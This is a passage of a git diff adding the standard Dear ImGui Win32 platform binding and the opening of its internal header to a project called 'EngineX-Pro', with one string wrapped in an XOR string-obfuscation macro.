WIN32_LEAN_AND_MEAN +#endif +#include +#include +#include "..//xorstr.hpp" + +// Using XInput library for gamepad (with recent Windows SDK this may leads to executables which won't run on Windows 7) +#ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD +#include +#else +#define IMGUI_IMPL_WIN32_DISABLE_LINKING_XINPUT +#endif +#if defined(_MSC_VER) && !defined(IMGUI_IMPL_WIN32_DISABLE_LINKING_XINPUT) +#pragma comment(lib, "xinput") +//#pragma comment(lib, "Xinput9_1_0") +#endif + +// CHANGELOG +// (minor and older changes stripped away, please see git history for details) +// 2020-03-03: Inputs: Calling AddInputCharacterUTF16() to support surrogate pairs leading to codepoint >= 0x10000 (for more complete CJK inputs) +// 2020-02-17: Added ImGui_ImplWin32_EnableDpiAwareness(), ImGui_ImplWin32_GetDpiScaleForHwnd(), ImGui_ImplWin32_GetDpiScaleForMonitor() helper functions. +// 2020-01-14: Inputs: Added support for #define IMGUI_IMPL_WIN32_DISABLE_GAMEPAD/IMGUI_IMPL_WIN32_DISABLE_LINKING_XINPUT. +// 2019-12-05: Inputs: Added support for ImGuiMouseCursor_NotAllowed mouse cursor. +// 2019-05-11: Inputs: Don't filter value from WM_CHAR before calling AddInputCharacter(). +// 2019-01-17: Misc: Using GetForegroundWindow()+IsChild() instead of GetActiveWindow() to be compatible with windows created in a different thread or parent. +// 2019-01-17: Inputs: Added support for mouse buttons 4 and 5 via WM_XBUTTON* messages. +// 2019-01-15: Inputs: Added support for XInput gamepads (if ImGuiConfigFlags_NavEnableGamepad is set by user application). +// 2018-11-30: Misc: Setting up io.BackendPlatformName so it can be displayed in the About Window. +// 2018-06-29: Inputs: Added support for the ImGuiMouseCursor_Hand cursor. +// 2018-06-10: Inputs: Fixed handling of mouse wheel messages to support fine position messages (typically sent by track-pads). +// 2018-06-08: Misc: Extracted imgui_impl_win32.cpp/.h away from the old combined DX9/DX10/DX11/DX12 examples. +// 2018-03-20: Misc: Setup io.BackendFlags ImGuiBackendFlags_HasMouseCursors and ImGuiBackendFlags_HasSetMousePos flags + honor ImGuiConfigFlags_NoMouseCursorChange flag. +// 2018-02-20: Inputs: Added support for mouse cursors (ImGui::GetMouseCursor() value and WM_SETCURSOR message handling). +// 2018-02-06: Inputs: Added mapping for ImGuiKey_Space. +// 2018-02-06: Inputs: Honoring the io.WantSetMousePos by repositioning the mouse (when using navigation and ImGuiConfigFlags_NavMoveMouse is set). +// 2018-02-06: Misc: Removed call to ImGui::Shutdown() which is not available from 1.60 WIP, user needs to call CreateContext/DestroyContext themselves. +// 2018-01-20: Inputs: Added Horizontal Mouse Wheel support. +// 2018-01-08: Inputs: Added mapping for ImGuiKey_Insert. +// 2018-01-05: Inputs: Added WM_LBUTTONDBLCLK double-click handlers for window classes with the CS_DBLCLKS flag. +// 2017-10-23: Inputs: Added WM_SYSKEYDOWN / WM_SYSKEYUP handlers so e.g. the VK_MENU key can be read. +// 2017-10-23: Inputs: Using Win32 ::SetCapture/::GetCapture() to retrieve mouse positions outside the client area when dragging. +// 2016-11-12: Inputs: Only call Win32 ::SetCursor(NULL) when io.MouseDrawCursor is set. + +// Win32 Data +static HWND g_hWnd = NULL; +static INT64 g_Time = 0; +static INT64 g_TicksPerSecond = 0; +static ImGuiMouseCursor g_LastMouseCursor = ImGuiMouseCursor_COUNT; +static bool g_HasGamepad = false; +static bool g_WantUpdateHasGamepad = true; + +// Functions +bool ImGui_ImplWin32_Init(void* hwnd) +{ + if (!::QueryPerformanceFrequency((LARGE_INTEGER*)&g_TicksPerSecond)) + return false; + if (!::QueryPerformanceCounter((LARGE_INTEGER*)&g_Time)) + return false; + + // Setup back-end capabilities flags + g_hWnd = (HWND)hwnd; + ImGuiIO& io = ImGui::GetIO(); + io.BackendFlags |= ImGuiBackendFlags_HasMouseCursors; // We can honor GetMouseCursor() values (optional) + io.BackendFlags |= ImGuiBackendFlags_HasSetMousePos; // We can honor io.WantSetMousePos requests (optional, rarely used) + io.BackendPlatformName = XOR("imgui_impl_win32"); + io.ImeWindowHandle = hwnd; + + // Keyboard mapping. ImGui will use those indices to peek into the io.KeysDown[] array that we will update during the application lifetime. + io.KeyMap[ImGuiKey_Tab] = VK_TAB; + io.KeyMap[ImGuiKey_LeftArrow] = VK_LEFT; + io.KeyMap[ImGuiKey_RightArrow] = VK_RIGHT; + io.KeyMap[ImGuiKey_UpArrow] = VK_UP; + io.KeyMap[ImGuiKey_DownArrow] = VK_DOWN; + io.KeyMap[ImGuiKey_PageUp] = VK_PRIOR; + io.KeyMap[ImGuiKey_PageDown] = VK_NEXT; + io.KeyMap[ImGuiKey_Home] = VK_HOME; + io.KeyMap[ImGuiKey_End] = VK_END; + io.KeyMap[ImGuiKey_Insert] = VK_INSERT; + io.KeyMap[ImGuiKey_Delete] = VK_DELETE; + io.KeyMap[ImGuiKey_Backspace] = VK_BACK; + io.KeyMap[ImGuiKey_Space] = VK_SPACE; + io.KeyMap[ImGuiKey_Enter] = VK_RETURN; + io.KeyMap[ImGuiKey_Escape] = VK_ESCAPE; + io.KeyMap[ImGuiKey_KeyPadEnter] = VK_RETURN; + io.KeyMap[ImGuiKey_A] = 'A'; + io.KeyMap[ImGuiKey_C] = 'C'; + io.KeyMap[ImGuiKey_V] = 'V'; + io.KeyMap[ImGuiKey_X] = 'X'; + io.KeyMap[ImGuiKey_Y] = 'Y'; + io.KeyMap[ImGuiKey_Z] = 'Z'; + + return true; +} + +void ImGui_ImplWin32_Shutdown() +{ + g_hWnd = (HWND)0; +} + +static bool ImGui_ImplWin32_UpdateMouseCursor() +{ + ImGuiIO& io = ImGui::GetIO(); + if (io.ConfigFlags & ImGuiConfigFlags_NoMouseCursorChange) + return false; + + ImGuiMouseCursor imgui_cursor = ImGui::GetMouseCursor(); + if (imgui_cursor == ImGuiMouseCursor_None || io.MouseDrawCursor) + { + // Hide OS mouse cursor if imgui is drawing it or if it wants no cursor + ::SetCursor(NULL); + } + else + { + // Show OS mouse cursor + LPTSTR win32_cursor = IDC_ARROW; + switch (imgui_cursor) + { + case ImGuiMouseCursor_Arrow: win32_cursor = IDC_ARROW; break; + case ImGuiMouseCursor_TextInput: win32_cursor = IDC_IBEAM; break; + case ImGuiMouseCursor_ResizeAll: win32_cursor = IDC_SIZEALL; break; + case ImGuiMouseCursor_ResizeEW: win32_cursor = IDC_SIZEWE; break; + case ImGuiMouseCursor_ResizeNS: win32_cursor = IDC_SIZENS; break; + case ImGuiMouseCursor_ResizeNESW: win32_cursor = IDC_SIZENESW; break; + case ImGuiMouseCursor_ResizeNWSE: win32_cursor = IDC_SIZENWSE; break; + case ImGuiMouseCursor_Hand: win32_cursor = IDC_HAND; break; + case ImGuiMouseCursor_NotAllowed: win32_cursor = IDC_NO; break; + } + ::SetCursor(::LoadCursor(NULL, win32_cursor)); + } + return true; +} + +static void ImGui_ImplWin32_UpdateMousePos() +{ + ImGuiIO& io = ImGui::GetIO(); + + // Set OS mouse position if requested (rarely used, only when ImGuiConfigFlags_NavEnableSetMousePos is enabled by user) + if (io.WantSetMousePos) + { + POINT pos = { (int)io.MousePos.x, (int)io.MousePos.y }; + ::ClientToScreen(g_hWnd, &pos); + ::SetCursorPos(pos.x, pos.y); + } + + // Set mouse position + io.MousePos = ImVec2(-FLT_MAX, -FLT_MAX); + POINT pos; + //if (HWND active_window = ::GetForegroundWindow()) + // if (active_window == g_hWnd || ::IsChild(active_window, g_hWnd)) + if (::GetCursorPos(&pos) && ::ScreenToClient(g_hWnd, &pos)) + io.MousePos = ImVec2((float)pos.x, (float)pos.y); +} + +// Gamepad navigation mapping +static void ImGui_ImplWin32_UpdateGamepads() +{ +#ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD + ImGuiIO& io = ImGui::GetIO(); + memset(io.NavInputs, 0, sizeof(io.NavInputs)); + if ((io.ConfigFlags & ImGuiConfigFlags_NavEnableGamepad) == 0) + return; + + // Calling XInputGetState() every frame on disconnected gamepads is unfortunately too slow. + // Instead we refresh gamepad availability by calling XInputGetCapabilities() _only_ after receiving WM_DEVICECHANGE. + if (g_WantUpdateHasGamepad) + { + XINPUT_CAPABILITIES caps; + g_HasGamepad = (XInputGetCapabilities(0, XINPUT_FLAG_GAMEPAD, &caps) == ERROR_SUCCESS); + g_WantUpdateHasGamepad = false; + } + + XINPUT_STATE xinput_state; + io.BackendFlags &= ~ImGuiBackendFlags_HasGamepad; + if (g_HasGamepad && XInputGetState(0, &xinput_state) == ERROR_SUCCESS) + { + const XINPUT_GAMEPAD& gamepad = xinput_state.Gamepad; + io.BackendFlags |= ImGuiBackendFlags_HasGamepad; + + #define MAP_BUTTON(NAV_NO, BUTTON_ENUM) { io.NavInputs[NAV_NO] = (gamepad.wButtons & BUTTON_ENUM) ? 1.0f : 0.0f; } + #define MAP_ANALOG(NAV_NO, VALUE, V0, V1) { float vn = (float)(VALUE - V0) / (float)(V1 - V0); if (vn > 1.0f) vn = 1.0f; if (vn > 0.0f && io.NavInputs[NAV_NO] < vn) io.NavInputs[NAV_NO] = vn; } + MAP_BUTTON(ImGuiNavInput_Activate, XINPUT_GAMEPAD_A); // Cross / A + MAP_BUTTON(ImGuiNavInput_Cancel, XINPUT_GAMEPAD_B); // Circle / B + MAP_BUTTON(ImGuiNavInput_Menu, XINPUT_GAMEPAD_X); // Square / X + MAP_BUTTON(ImGuiNavInput_Input, XINPUT_GAMEPAD_Y); // Triangle / Y + MAP_BUTTON(ImGuiNavInput_DpadLeft, XINPUT_GAMEPAD_DPAD_LEFT); // D-Pad Left + MAP_BUTTON(ImGuiNavInput_DpadRight, XINPUT_GAMEPAD_DPAD_RIGHT); // D-Pad Right + MAP_BUTTON(ImGuiNavInput_DpadUp, XINPUT_GAMEPAD_DPAD_UP); // D-Pad Up + MAP_BUTTON(ImGuiNavInput_DpadDown, XINPUT_GAMEPAD_DPAD_DOWN); // D-Pad Down + MAP_BUTTON(ImGuiNavInput_FocusPrev, XINPUT_GAMEPAD_LEFT_SHOULDER); // L1 / LB + MAP_BUTTON(ImGuiNavInput_FocusNext, XINPUT_GAMEPAD_RIGHT_SHOULDER); // R1 / RB + MAP_BUTTON(ImGuiNavInput_TweakSlow, XINPUT_GAMEPAD_LEFT_SHOULDER); // L1 / LB + MAP_BUTTON(ImGuiNavInput_TweakFast, XINPUT_GAMEPAD_RIGHT_SHOULDER); // R1 / RB + MAP_ANALOG(ImGuiNavInput_LStickLeft, gamepad.sThumbLX, -XINPUT_GAMEPAD_LEFT_THUMB_DEADZONE, -32768); + MAP_ANALOG(ImGuiNavInput_LStickRight, gamepad.sThumbLX, +XINPUT_GAMEPAD_LEFT_THUMB_DEADZONE, +32767); + MAP_ANALOG(ImGuiNavInput_LStickUp, gamepad.sThumbLY, +XINPUT_GAMEPAD_LEFT_THUMB_DEADZONE, +32767); + MAP_ANALOG(ImGuiNavInput_LStickDown, gamepad.sThumbLY, -XINPUT_GAMEPAD_LEFT_THUMB_DEADZONE, -32767); + #undef MAP_BUTTON + #undef MAP_ANALOG + } +#endif // #ifndef IMGUI_IMPL_WIN32_DISABLE_GAMEPAD +} + +void ImGui_ImplWin32_NewFrame() +{ + ImGuiIO& io = ImGui::GetIO(); + IM_ASSERT(io.Fonts->IsBuilt() && "Font atlas not built! It is generally built by the renderer back-end. Missing call to renderer _NewFrame() function? e.g. ImGui_ImplOpenGL3_NewFrame()."); + + // Setup display size (every frame to accommodate for window resizing) + RECT rect; + ::GetClientRect(g_hWnd, &rect); + io.DisplaySize = ImVec2((float)(rect.right - rect.left), (float)(rect.bottom - rect.top)); + + // Setup time step + INT64 current_time; + ::QueryPerformanceCounter((LARGE_INTEGER*)¤t_time); + io.DeltaTime = (float)(current_time - g_Time) / g_TicksPerSecond; + g_Time = current_time; + + // Read keyboard modifiers inputs + io.KeyCtrl = (::GetKeyState(VK_CONTROL) & 0x8000) != 0; + io.KeyShift = (::GetKeyState(VK_SHIFT) & 0x8000) != 0; + io.KeyAlt = (::GetKeyState(VK_MENU) & 0x8000) != 0; + io.KeySuper = false; + // io.KeysDown[], io.MousePos, io.MouseDown[], io.MouseWheel: filled by the WndProc handler below. + + // Update OS mouse position + ImGui_ImplWin32_UpdateMousePos(); + + // Update OS mouse cursor with the cursor requested by imgui + ImGuiMouseCursor mouse_cursor = io.MouseDrawCursor ? ImGuiMouseCursor_None : ImGui::GetMouseCursor(); + if (g_LastMouseCursor != mouse_cursor) + { + g_LastMouseCursor = mouse_cursor; + ImGui_ImplWin32_UpdateMouseCursor(); + } + + // Update game controllers (if enabled and available) + ImGui_ImplWin32_UpdateGamepads(); +} + +// Allow compilation with old Windows SDK. MinGW doesn't have default _WIN32_WINNT/WINVER versions. +#ifndef WM_MOUSEHWHEEL +#define WM_MOUSEHWHEEL 0x020E +#endif +#ifndef DBT_DEVNODES_CHANGED +#define DBT_DEVNODES_CHANGED 0x0007 +#endif + +// Win32 message handler (process Win32 mouse/keyboard inputs, etc.) +// Call from your application's message handler. +// When implementing your own back-end, you can read the io.WantCaptureMouse, io.WantCaptureKeyboard flags to tell if Dear ImGui wants to use your inputs. +// - When io.WantCaptureMouse is true, do not dispatch mouse input data to your main application. +// - When io.WantCaptureKeyboard is true, do not dispatch keyboard input data to your main application. +// Generally you may always pass all inputs to Dear ImGui, and hide them from your application based on those two flags. +// PS: In this Win32 handler, we use the capture API (GetCapture/SetCapture/ReleaseCapture) to be able to read mouse coordinates when dragging mouse outside of our window bounds. +// PS: We treat DBLCLK messages as regular mouse down messages, so this code will work on windows classes that have the CS_DBLCLKS flag set. Our own example app code doesn't set this flag. +#if 0 +// Copy this line into your .cpp file to forward declare the function. +extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); +#endif +IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) +{ + if (ImGui::GetCurrentContext() == NULL) + return 0; + + ImGuiIO& io = ImGui::GetIO(); + switch (msg) + { + case WM_LBUTTONDOWN: case WM_LBUTTONDBLCLK: + case WM_RBUTTONDOWN: case WM_RBUTTONDBLCLK: + case WM_MBUTTONDOWN: case WM_MBUTTONDBLCLK: + case WM_XBUTTONDOWN: case WM_XBUTTONDBLCLK: + { + int button = 0; + if (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONDBLCLK) { button = 0; } + if (msg == WM_RBUTTONDOWN || msg == WM_RBUTTONDBLCLK) { button = 1; } + if (msg == WM_MBUTTONDOWN || msg == WM_MBUTTONDBLCLK) { button = 2; } + if (msg == WM_XBUTTONDOWN || msg == WM_XBUTTONDBLCLK) { button = (GET_XBUTTON_WPARAM(wParam) == XBUTTON1) ? 3 : 4; } + if (!ImGui::IsAnyMouseDown() && ::GetCapture() == NULL) + ::SetCapture(hwnd); + io.MouseDown[button] = true; + return 0; + } + case WM_LBUTTONUP: + case WM_RBUTTONUP: + case WM_MBUTTONUP: + case WM_XBUTTONUP: + { + int button = 0; + if (msg == WM_LBUTTONUP) { button = 0; } + if (msg == WM_RBUTTONUP) { button = 1; } + if (msg == WM_MBUTTONUP) { button = 2; } + if (msg == WM_XBUTTONUP) { button = (GET_XBUTTON_WPARAM(wParam) == XBUTTON1) ? 3 : 4; } + io.MouseDown[button] = false; + if (!ImGui::IsAnyMouseDown() && ::GetCapture() == hwnd) + ::ReleaseCapture(); + return 0; + } + case WM_MOUSEWHEEL: + io.MouseWheel += (float)GET_WHEEL_DELTA_WPARAM(wParam) / (float)WHEEL_DELTA; + return 0; + case WM_MOUSEHWHEEL: + io.MouseWheelH += (float)GET_WHEEL_DELTA_WPARAM(wParam) / (float)WHEEL_DELTA; + return 0; + case WM_KEYDOWN: + case WM_SYSKEYDOWN: + if (wParam < 256) + io.KeysDown[wParam] = 1; + return 0; + case WM_KEYUP: + case WM_SYSKEYUP: + if (wParam < 256) + io.KeysDown[wParam] = 0; + return 0; + case WM_CHAR: + // You can also use ToAscii()+GetKeyboardState() to retrieve characters. + if (wParam > 0 && wParam < 0x10000) + io.AddInputCharacterUTF16((unsigned short)wParam); + return 0; + case WM_SETCURSOR: + if (LOWORD(lParam) == HTCLIENT && ImGui_ImplWin32_UpdateMouseCursor()) + return 1; + return 0; + case WM_DEVICECHANGE: + if ((UINT)wParam == DBT_DEVNODES_CHANGED) + g_WantUpdateHasGamepad = true; + return 0; + } + return 0; +} + + +//-------------------------------------------------------------------------------------------------------- +// DPI-related helpers (optional) +//-------------------------------------------------------------------------------------------------------- +// - Use to enable DPI awareness without having to create an application manifest. +// - Your own app may already do this via a manifest or explicit calls. This is mostly useful for our examples/ apps. +// - In theory we could call simple functions from Windows SDK such as SetProcessDPIAware(), SetProcessDpiAwareness(), etc. +// but most of the functions provided by Microsoft require Windows 8.1/10+ SDK at compile time and Windows 8/10+ at runtime, +// neither we want to require the user to have. So we dynamically select and load those functions to avoid dependencies. +//--------------------------------------------------------------------------------------------------------- +// This is the scheme successfully used by GLFW (from which we borrowed some of the code) and other apps aiming to be highly portable. +// ImGui_ImplWin32_EnableDpiAwareness() is just a helper called by main.cpp, we don't call it automatically. +// If you are trying to implement your own back-end for your own engine, you may ignore that noise. +//--------------------------------------------------------------------------------------------------------- + +// Implement some of the functions and types normally declared in recent Windows SDK. +#if !defined(_versionhelpers_H_INCLUDED_) && !defined(_INC_VERSIONHELPERS) +static BOOL IsWindowsVersionOrGreater(WORD major, WORD minor, WORD sp) +{ + OSVERSIONINFOEXW osvi = { sizeof(osvi), major, minor, 0, 0, { 0 }, sp, 0, 0, 0, 0 }; + DWORD mask = VER_MAJORVERSION | VER_MINORVERSION | VER_SERVICEPACKMAJOR; + ULONGLONG cond = ::VerSetConditionMask(0, VER_MAJORVERSION, VER_GREATER_EQUAL); + cond = ::VerSetConditionMask(cond, VER_MINORVERSION, VER_GREATER_EQUAL); + cond = ::VerSetConditionMask(cond, VER_SERVICEPACKMAJOR, VER_GREATER_EQUAL); + return ::VerifyVersionInfoW(&osvi, mask, cond); +} +#define IsWindows8Point1OrGreater() IsWindowsVersionOrGreater(HIBYTE(0x0602), LOBYTE(0x0602), 0) // _WIN32_WINNT_WINBLUE +#endif + +#ifndef DPI_ENUMS_DECLARED +typedef enum { PROCESS_DPI_UNAWARE = 0, PROCESS_SYSTEM_DPI_AWARE = 1, PROCESS_PER_MONITOR_DPI_AWARE = 2 } PROCESS_DPI_AWARENESS; +typedef enum { MDT_EFFECTIVE_DPI = 0, MDT_ANGULAR_DPI = 1, MDT_RAW_DPI = 2, MDT_DEFAULT = MDT_EFFECTIVE_DPI } MONITOR_DPI_TYPE; +#endif +#ifndef _DPI_AWARENESS_CONTEXTS_ +DECLARE_HANDLE(DPI_AWARENESS_CONTEXT); +#define DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE (DPI_AWARENESS_CONTEXT)-3 +#endif +#ifndef DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2 +#define DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2 (DPI_AWARENESS_CONTEXT)-4 +#endif +typedef HRESULT(WINAPI* PFN_SetProcessDpiAwareness)(PROCESS_DPI_AWARENESS); // Shcore.lib + dll, Windows 8.1+ +typedef HRESULT(WINAPI* PFN_GetDpiForMonitor)(HMONITOR, MONITOR_DPI_TYPE, UINT*, UINT*); // Shcore.lib + dll, Windows 8.1+ +typedef DPI_AWARENESS_CONTEXT(WINAPI* PFN_SetThreadDpiAwarenessContext)(DPI_AWARENESS_CONTEXT); // User32.lib + dll, Windows 10 v1607+ (Creators Update) + +// Helper function to enable DPI awareness without setting up a manifest +void ImGui_ImplWin32_EnableDpiAwareness() +{ + // if (IsWindows10OrGreater()) // This needs a manifest to succeed. Instead we try to grab the function pointer! + { + static HINSTANCE user32_dll = ::LoadLibraryA("user32.dll"); // Reference counted per-process + if (PFN_SetThreadDpiAwarenessContext SetThreadDpiAwarenessContextFn = (PFN_SetThreadDpiAwarenessContext)::GetProcAddress(user32_dll, "SetThreadDpiAwarenessContext")) + { + SetThreadDpiAwarenessContextFn(DPI_AWARENESS_CONTEXT_PER_MONITOR_AWARE_V2); + return; + } + } + if (IsWindows8Point1OrGreater()) + { + static HINSTANCE shcore_dll = ::LoadLibraryA("shcore.dll"); // Reference counted per-process + if (PFN_SetProcessDpiAwareness SetProcessDpiAwarenessFn = (PFN_SetProcessDpiAwareness)::GetProcAddress(shcore_dll, "SetProcessDpiAwareness")) + { + SetProcessDpiAwarenessFn(PROCESS_PER_MONITOR_DPI_AWARE); + return; + } + } +#if _WIN32_WINNT >= 0x0600 + ::SetProcessDPIAware(); +#endif +} + +#if defined(_MSC_VER) && !defined(NOGDI) +#pragma comment(lib, "gdi32") // Link with gdi32.lib for GetDeviceCaps() +#endif + +float ImGui_ImplWin32_GetDpiScaleForMonitor(void* monitor) +{ + UINT xdpi = 96, ydpi = 96; + static BOOL bIsWindows8Point1OrGreater = IsWindows8Point1OrGreater(); + if (bIsWindows8Point1OrGreater) + { + static HINSTANCE shcore_dll = ::LoadLibraryA("shcore.dll"); // Reference counted per-process + if (PFN_GetDpiForMonitor GetDpiForMonitorFn = (PFN_GetDpiForMonitor)::GetProcAddress(shcore_dll, "GetDpiForMonitor")) + GetDpiForMonitorFn((HMONITOR)monitor, MDT_EFFECTIVE_DPI, &xdpi, &ydpi); + } +#ifndef NOGDI + else + { + const HDC dc = ::GetDC(NULL); + xdpi = ::GetDeviceCaps(dc, LOGPIXELSX); + ydpi = ::GetDeviceCaps(dc, LOGPIXELSY); + ::ReleaseDC(NULL, dc); + } +#endif + IM_ASSERT(xdpi == ydpi); // Please contact me if you hit this assert! + return xdpi / 96.0f; +} + +float ImGui_ImplWin32_GetDpiScaleForHwnd(void* hwnd) +{ + HMONITOR monitor = ::MonitorFromWindow((HWND)hwnd, MONITOR_DEFAULTTONEAREST); + return ImGui_ImplWin32_GetDpiScaleForMonitor(monitor); +} + +//--------------------------------------------------------------------------------------------------------- diff --git a/EngineX-Pro/ImGui/imgui_impl_win32.h b/EngineX-Pro/ImGui/imgui_impl_win32.h new file mode 100644 index 0000000..8923bd6 --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_impl_win32.h @@ -0,0 +1,37 @@ +// dear imgui: Platform Binding for Windows (standard windows API for 32 and 64 bits applications) +// This needs to be used along with a Renderer (e.g. DirectX11, OpenGL3, Vulkan..) + +// Implemented features: +// [X] Platform: Clipboard support (for Win32 this is actually part of core dear imgui) +// [X] Platform: Mouse cursor shape and visibility. Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'. +// [X] Platform: Keyboard arrays indexed using VK_* Virtual Key Codes, e.g. ImGui::IsKeyPressed(VK_SPACE). +// [X] Platform: Gamepad support. Enabled with 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad'. + +#pragma once +#include "imgui.h" // IMGUI_IMPL_API + +IMGUI_IMPL_API bool ImGui_ImplWin32_Init(void* hwnd); +IMGUI_IMPL_API void ImGui_ImplWin32_Shutdown(); +IMGUI_IMPL_API void ImGui_ImplWin32_NewFrame(); + +// Configuration +// - Disable gamepad support or linking with xinput.lib +//#define IMGUI_IMPL_WIN32_DISABLE_GAMEPAD +//#define IMGUI_IMPL_WIN32_DISABLE_LINKING_XINPUT + +// Win32 message handler your application need to call. +// - Intentionally commented out in a '#if 0' block to avoid dragging dependencies on from this helper. +// - You should COPY the line below into your .cpp code to forward declare the function and then you can call it. +#if 0 +extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam); +#endif + +// DPI-related helpers (optional) +// - Use to enable DPI awareness without having to create an application manifest. +// - Your own app may already do this via a manifest or explicit calls. This is mostly useful for our examples/ apps. +// - In theory we could call simple functions from Windows SDK such as SetProcessDPIAware(), SetProcessDpiAwareness(), etc. +// but most of the functions provided by Microsoft require Windows 8.1/10+ SDK at compile time and Windows 8/10+ at runtime, +// neither we want to require the user to have. So we dynamically select and load those functions to avoid dependencies. +IMGUI_IMPL_API void ImGui_ImplWin32_EnableDpiAwareness(); +IMGUI_IMPL_API float ImGui_ImplWin32_GetDpiScaleForHwnd(void* hwnd); // HWND hwnd +IMGUI_IMPL_API float ImGui_ImplWin32_GetDpiScaleForMonitor(void* monitor); // HMONITOR monitor diff --git a/EngineX-Pro/ImGui/imgui_internal.h b/EngineX-Pro/ImGui/imgui_internal.h new file mode 100644 index 0000000..de1eeb0 --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_internal.h @@ -0,0 +1,2521 @@ +// dear imgui, v1.80 WIP +// (internal structures/api) + +// You may use this file to debug, understand or extend ImGui features but we don't provide any guarantee of forward compatibility! +// Set: +// #define IMGUI_DEFINE_MATH_OPERATORS +// To implement maths operators for ImVec2 (disabled by default to not collide with using IM_VEC2_CLASS_EXTRA along with your own math types+operators) + +/* + +Index of this file: + +// [SECTION] Header mess +// [SECTION] Forward declarations +// [SECTION] Context pointer +// [SECTION] STB libraries includes +// [SECTION] Macros +// [SECTION] Generic helpers +// [SECTION] ImDrawList support +// [SECTION] Widgets support: flags, enums, data structures +// [SECTION] Columns support +// [SECTION] Multi-select support +// [SECTION] Docking support +// [SECTION] Viewport support +// [SECTION] Settings support +// [SECTION] Metrics, Debug +// [SECTION] Generic context hooks +// [SECTION] ImGuiContext (main imgui context) +// [SECTION] ImGuiWindowTempData, ImGuiWindow +// [SECTION] Tab bar, Tab item support +// [SECTION] Table support +// [SECTION] Internal API +// [SECTION] Test Engine specific hooks (imgui_test_engine) + +*/ + +#pragma once +#ifndef IMGUI_DISABLE + +//----------------------------------------------------------------------------- +// [SECTION] Header mess +//----------------------------------------------------------------------------- + +#ifndef IMGUI_VERSION +#error Must include imgui.h before imgui_internal.h +#endif + +#include // FILE*, sscanf +#include // NULL, malloc, free, qsort, atoi, atof +#include // sqrtf, fabsf, fmodf, powf, floorf, ceilf, cosf, sinf +#include // INT_MIN, INT_MAX + +// Visual Studio warnings +#ifdef _MSC_VER +#pragma warning (push) +#pragma warning (disable: 4251) // class 'xxx' needs to have dll-interface to be used by clients of struct 'xxx' // when IMGUI_API is set to__declspec(dllexport) +#endif + +// Clang/GCC warnings with -Weverything +#if defined(__clang__) +#pragma clang diagnostic push +#if __has_warning("-Wunknown-warning-option") +#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' +#endif +#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx' +#pragma clang diagnostic ignored "-Wunused-function" // for stb_textedit.h +#pragma clang diagnostic ignored "-Wmissing-prototypes" // for stb_textedit.h +#pragma clang diagnostic ignored "-Wold-style-cast" +#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" +#pragma clang diagnostic ignored "-Wdouble-promotion" +#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision +#elif defined(__GNUC__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind +#pragma GCC diagnostic ignored "-Wclass-memaccess" // [__GNUC__ >= 8] warning: 'memset/memcpy' clearing/writing an object of type 'xxxx' with no trivial copy-assignment; use assignment or value-initialization instead +#endif + +// Legacy defines +#ifdef IMGUI_DISABLE_FORMAT_STRING_FUNCTIONS // Renamed in 1.74 +#error Use IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS +#endif +#ifdef IMGUI_DISABLE_MATH_FUNCTIONS // Renamed in 1.74 +#error Use IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS +#endif + +//----------------------------------------------------------------------------- +// [SECTION] Forward declarations +//----------------------------------------------------------------------------- + +struct ImBitVector; // Store 1-bit per value +struct ImRect; // An axis-aligned rectangle (2 points) +struct ImDrawDataBuilder; // Helper to build a ImDrawData instance +struct ImDrawListSharedData; // Data shared between all ImDrawList instances +struct ImGuiColorMod; // Stacked color modifier, backup of modified data so we can restore it +struct ImGuiContext; // Main Dear ImGui context +struct ImGuiContextHook; // Hook for extensions like ImGuiTestEngine +struct ImGuiDataTypeInfo; // Type information associated to a ImGuiDataType enum +struct ImGuiGroupData; // Stacked storage data for BeginGroup()/EndGroup() +struct ImGuiInputTextState; // Internal state of the currently focused/edited text input box +struct ImGuiLastItemDataBackup; // Backup and restore IsItemHovered() internal data +struct ImGuiMenuColumns; // Simple column measurement, currently used for MenuItem() only +struct ImGuiNavMoveResult; // Result of a gamepad/keyboard directional navigation move query result +struct ImGuiMetricsConfig; // Storage for ShowMetricsWindow() and DebugNodeXXX() functions +struct ImGuiNextWindowData; // Storage for SetNextWindow** functions +struct ImGuiNextItemData; // Storage for SetNextItem** functions +struct ImGuiOldColumnData; // Storage data for a single column for legacy Columns() api +struct ImGuiOldColumns; // Storage data for a columns set for legacy Columns() api +struct ImGuiPopupData; // Storage for current popup stack +struct ImGuiSettingsHandler; // Storage for one type registered in the .ini file +struct ImGuiStackSizes; // Storage of stack sizes for debugging/asserting +struct ImGuiStyleMod; // Stacked style modifier, backup of modified data so we can restore it +struct ImGuiTabBar; // Storage for a tab bar +struct ImGuiTabItem; // Storage for a tab item (within a tab bar) +struct ImGuiTable; // Storage for a table +struct ImGuiTableColumn; // Storage for one column of a table +struct ImGuiTableSettings; // Storage for a table .ini settings +struct ImGuiTableColumnsSettings; // Storage for a column .ini settings +struct ImGuiWindow; // Storage for one window +struct ImGuiWindowTempData; // Temporary storage for one window (that's the data which in theory we could ditch at the end of the frame) +struct ImGuiWindowSettings; // Storage for a window .ini settings (we keep one of those even if the actual window wasn't instanced during this session) + +// Use your programming IDE "Go to definition" facility on the names of the 